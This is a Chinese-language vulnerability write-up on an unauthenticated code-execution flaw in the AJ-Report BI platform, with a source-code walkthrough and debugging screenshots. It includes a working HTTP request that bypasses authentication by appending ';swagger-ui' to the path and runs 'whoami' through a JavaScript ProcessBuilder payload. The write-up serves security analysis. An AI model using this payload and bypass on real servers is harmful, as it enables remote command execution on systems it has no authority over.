AJ-Report代码执行漏洞分析

转载个人公众号

AJ-Report代码执行漏洞分析

AJ-Report是全开源的一个BI平台,DataSetParamControllerverification方法未对传入的参数进行过滤,可以执行JavaScript函数,导致命令执行漏洞。

环境搭建

将源码下并使用IDEA打开

git clone https://gitee.com/anji-plus/report.git

image-20240504154116752

配置mysql

创建数据 aj_report ,数据库sql文件在resources/db.migration 目录下

image-20240504154241700

配置文件存储路径

image-20240504154329937

漏洞复现

  1. POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
  2. Host: 192.168.0.100:9095
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
  5. Accept-Encoding: gzip, deflate, br
  6. Accept-Language: zh-CN,zh;q=0.9
  7. Content-Type: application/json;charset=UTF-8
  8. Connection: close
  9. {"sampleItem":"1","validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\\"whoami\\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

image-20240504155259256

image-20240504155319624

代码分析

漏洞路径

\report\report-core\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java

verification

  1. @PostMapping("/verification")
  2. public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {
  3. DataSetParamDto dto \= new DataSetParamDto();
  4. dto.setSampleItem(param.getSampleItem());
  5. dto.setValidationRules(param.getValidationRules());
  6. return responseSuccessWithData(dataSetParamService.verification(dto));
  7. }

param 接受传入的值

  1. @Data
  2. public class DataSetParamValidationParam implements Serializable {
  3. /\*\* 参数示例项 \*/
  4. @NotBlank(message \= "sampleItem not empty")
  5. private String sampleItem;
  6. /\*\* js校验字段值规则,满足校验返回 true \*/
  7. @NotBlank(message \= "validationRules not empty")
  8. private String validationRules;
  9. }

需要接受的参数 sampleItemvalidationRules

并将这个参数传入dataSetParamService.verification(dto)

image-20240504155856186

DataSetParamServiceImpl.java

该类中实现了 verification 方法

  1. package com.anjiplus.template.gaea.business.modules.datasetparam.service.impl;
  2. import com.anji.plus.gaea.curd.mapper.GaeaBaseMapper;
  3. import com.anji.plus.gaea.exception.BusinessExceptionBuilder;
  4. import com.anjiplus.template.gaea.business.modules.datasetparam.controller.dto.DataSetParamDto;
  5. import com.anjiplus.template.gaea.business.modules.datasetparam.dao.DataSetParamMapper;
  6. import com.anjiplus.template.gaea.business.modules.datasetparam.dao.entity.DataSetParam;
  7. import com.anjiplus.template.gaea.business.modules.datasetparam.service.DataSetParamService;
  8. import com.anjiplus.template.gaea.business.modules.datasetparam.util.ParamsResolverHelper;
  9. import com.anjiplus.template.gaea.business.code.ResponseCode;
  10. import com.fasterxml.jackson.databind.ObjectMapper;
  11. import lombok.extern.slf4j.Slf4j;
  12. import org.apache.commons.lang3.StringUtils;
  13. import org.springframework.beans.factory.annotation.Autowired;
  14. import org.springframework.stereotype.Service;
  15. import javax.script.Invocable;
  16. import javax.script.ScriptEngine;
  17. import javax.script.ScriptEngineManager;
  18. import java.util.HashMap;
  19. import java.util.List;
  20. import java.util.Map;
  21. /\*\*
  22. \* @desc DataSetParam 数据集动态参数服务实现
  23. \* @author Raod
  24. \* @date 2021-03-18 12:12:33.108033200
  25. \*\*/
  26. @Service
  27. //@RequiredArgsConstructor
  28. @Slf4j
  29. public class DataSetParamServiceImpl implements DataSetParamService {
  30. private ScriptEngine engine;
  31. {
  32. ScriptEngineManager manager \= new ScriptEngineManager();
  33. engine \= manager.getEngineByName("JavaScript");
  34. }
  35. @Autowired
  36. private DataSetParamMapper dataSetParamMapper;
  37. @Override
  38. public GaeaBaseMapper<DataSetParam\> getMapper() {
  39. return dataSetParamMapper;
  40. }
  41. /\*\*
  42. \* 参数替换
  43. \*
  44. \* @param contextData
  45. \* @param dynSentence
  46. \* @return
  47. \*/
  48. @Override
  49. public String transform(Map<String, Object\> contextData, String dynSentence) {
  50. if (StringUtils.isBlank(dynSentence)) {
  51. return dynSentence;
  52. }
  53. if (dynSentence.contains("${")) {
  54. dynSentence \= ParamsResolverHelper.resolveParams(contextData, dynSentence);
  55. }
  56. if (dynSentence.contains("${")) {
  57. throw BusinessExceptionBuilder.build(ResponseCode.INCOMPLETE\_PARAMETER\_REPLACEMENT\_VALUES, dynSentence);
  58. }
  59. return dynSentence;
  60. }
  61. /\*\*
  62. \* 参数替换
  63. \*
  64. \* @param dataSetParamDtoList
  65. \* @param dynSentence
  66. \* @return
  67. \*/
  68. @Override
  69. public String transform(List<DataSetParamDto\> dataSetParamDtoList, String dynSentence) {
  70. Map<String, Object\> contextData \= new HashMap<>();
  71. if (null \== dataSetParamDtoList || dataSetParamDtoList.size() <= 0) {
  72. return dynSentence;
  73. }
  74. dataSetParamDtoList.forEach(dataSetParamDto \-> {
  75. contextData.put(dataSetParamDto.getParamName(), dataSetParamDto.getSampleItem());
  76. });
  77. return transform(contextData, dynSentence);
  78. }
  79. /\*\*
  80. \* 参数校验 js脚本
  81. \*
  82. \* @param dataSetParamDto
  83. \* @return
  84. \*/
  85. @Override
  86. public Object verification(DataSetParamDto dataSetParamDto) {
  87. String validationRules \= dataSetParamDto.getValidationRules();
  88. if (StringUtils.isNotBlank(validationRules)) {
  89. try {
  90. engine.eval(validationRules);
  91. if(engine instanceof Invocable){
  92. Invocable invocable \= (Invocable) engine;
  93. Object exec \= invocable.invokeFunction("verification", dataSetParamDto);
  94. ObjectMapper objectMapper \= new ObjectMapper();
  95. if (exec instanceof Boolean) {
  96. return objectMapper.convertValue(exec, Boolean.class);
  97. }else {
  98. return objectMapper.convertValue(exec, String.class);
  99. }
  100. }
  101. } catch (Exception ex) {
  102. throw BusinessExceptionBuilder.build(ResponseCode.EXECUTE\_JS\_ERROR, ex.getMessage());
  103. }
  104. }
  105. return true;
  106. }
  107. /\*\*
  108. \* 参数校验 js脚本
  109. \*
  110. \* @param dataSetParamDtoList
  111. \* @return
  112. \*/
  113. @Override
  114. public boolean verification(List<DataSetParamDto\> dataSetParamDtoList, Map<String, Object\> contextData) {
  115. if (null \== dataSetParamDtoList || dataSetParamDtoList.size() \== 0) {
  116. return true;
  117. }
  118. for (DataSetParamDto dataSetParamDto : dataSetParamDtoList) {
  119. if (null != contextData) {
  120. String value \= contextData.getOrDefault(dataSetParamDto.getParamName(), "").toString();
  121. dataSetParamDto.setSampleItem(value);
  122. }
  123. Object verification \= verification(dataSetParamDto);
  124. if (verification instanceof Boolean) {
  125. if (!(Boolean) verification) {
  126. return false;
  127. }
  128. }else {
  129. //将得到的值重新赋值给contextData
  130. if (null != contextData) {
  131. contextData.put(dataSetParamDto.getParamName(), verification);
  132. }
  133. dataSetParamDto.setSampleItem(verification.toString());
  134. }
  135. }
  136. return true;
  137. }
  138. }
verification
  1. @Override
  2. public Object verification(DataSetParamDto dataSetParamDto) {
  3. String validationRules \= dataSetParamDto.getValidationRules();
  4. if (StringUtils.isNotBlank(validationRules)) {
  5. try {
  6. engine.eval(validationRules);
  7. if(engine instanceof Invocable){
  8. Invocable invocable \= (Invocable) engine;
  9. Object exec \= invocable.invokeFunction("verification", dataSetParamDto);
  10. ObjectMapper objectMapper \= new ObjectMapper();
  11. if (exec instanceof Boolean) {
  12. return objectMapper.convertValue(exec, Boolean.class);
  13. }else {
  14. return objectMapper.convertValue(exec, String.class);
  15. }
  16. }
  17. } catch (Exception ex) {
  18. throw BusinessExceptionBuilder.build(ResponseCode.EXECUTE\_JS\_ERROR, ex.getMessage());
  19. }
  20. }
  21. return true;
  22. }
  1. private ScriptEngine engine;
  2. {
  3. ScriptEngineManager manager \= new ScriptEngineManager();
  4. engine \= manager.getEngineByName("JavaScript");
  5. }

engine.eval(validationRules): 这行代码使用了一个 engineScriptEngine 的一个实例,来执行传入的 validationRules 字符串,即执行一段 JavaScript 代码。

if(engine instanceof Invocable) 这里检查 engine 是否是 Invocable 接口的实例,如果是,表示这个引擎可以调用 JavaScript 函数。

invocable.invokeFunction("verification", dataSetParamDto): 如果引擎可以调用,就调用名为 "verification" 的 JavaScript 函数,并传入一个 dataSetParamDto 对象作为参数。

ObjectMapper objectMapper = new ObjectMapper(): 创建了一个ObjectMapper对象,用于处理 JSON 数据。

  1. if (exec instanceof Boolean) {
  2. return objectMapper.convertValue(exec, Boolean.class);
  3. }else {
  4. return objectMapper.convertValue(exec, String.class);
  5. }

根据 exec 对象的类型进行处理,如果是布尔类型,则将其转换为 Java 中的 Boolean 类型;否则转换为 String 类型。

return objectMapper.convertValue(...): 最后,根据 exec 的类型,使用 ObjectMapper 将其转换成相应的 Java 类型,并返回结果。

debug 调试

下断点

image-20240504161034272

validationRules 值为JavaScript 代码

调用了ScriptEngineManager eval执行JavaScript 代码

image-20240504161337300

权限验证

正常访问 /dataSetParam/verification 路由是需要token验证

image-20240504162128661

搜索 The Token has expired

image-20240504162204818

TokenFilter.java

TokenFilter拦截器中,放行swagger-uiswagger-resources

  1. if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {
  2. filterChain.doFilter(request, response);
  3. return;
  4. }

image-20240504162300629

使用URL截断绕过 ;

swagger-uiswagger-resources

  1. POST /dataSetParam/verification;swagger-ui HTTP/1.1
  2. POST /dataSetParam/verification;swagger-resources HTTP/1.1

image-20240504163359548

image-20240504163422237

image-20240504163434179

总结

  • verification方法传入参数validationRules,调用了ScriptEngineManager eval执行JavaScript 代码,导致的代码执行漏洞。
  • 使用; 绕过鉴权
  • 发表于 2024-05-15 10:00:02
  • 阅读 ( 15515 )
  • 分类:漏洞分析

0 条评论

webqs
webqs

3 篇文章

站长统计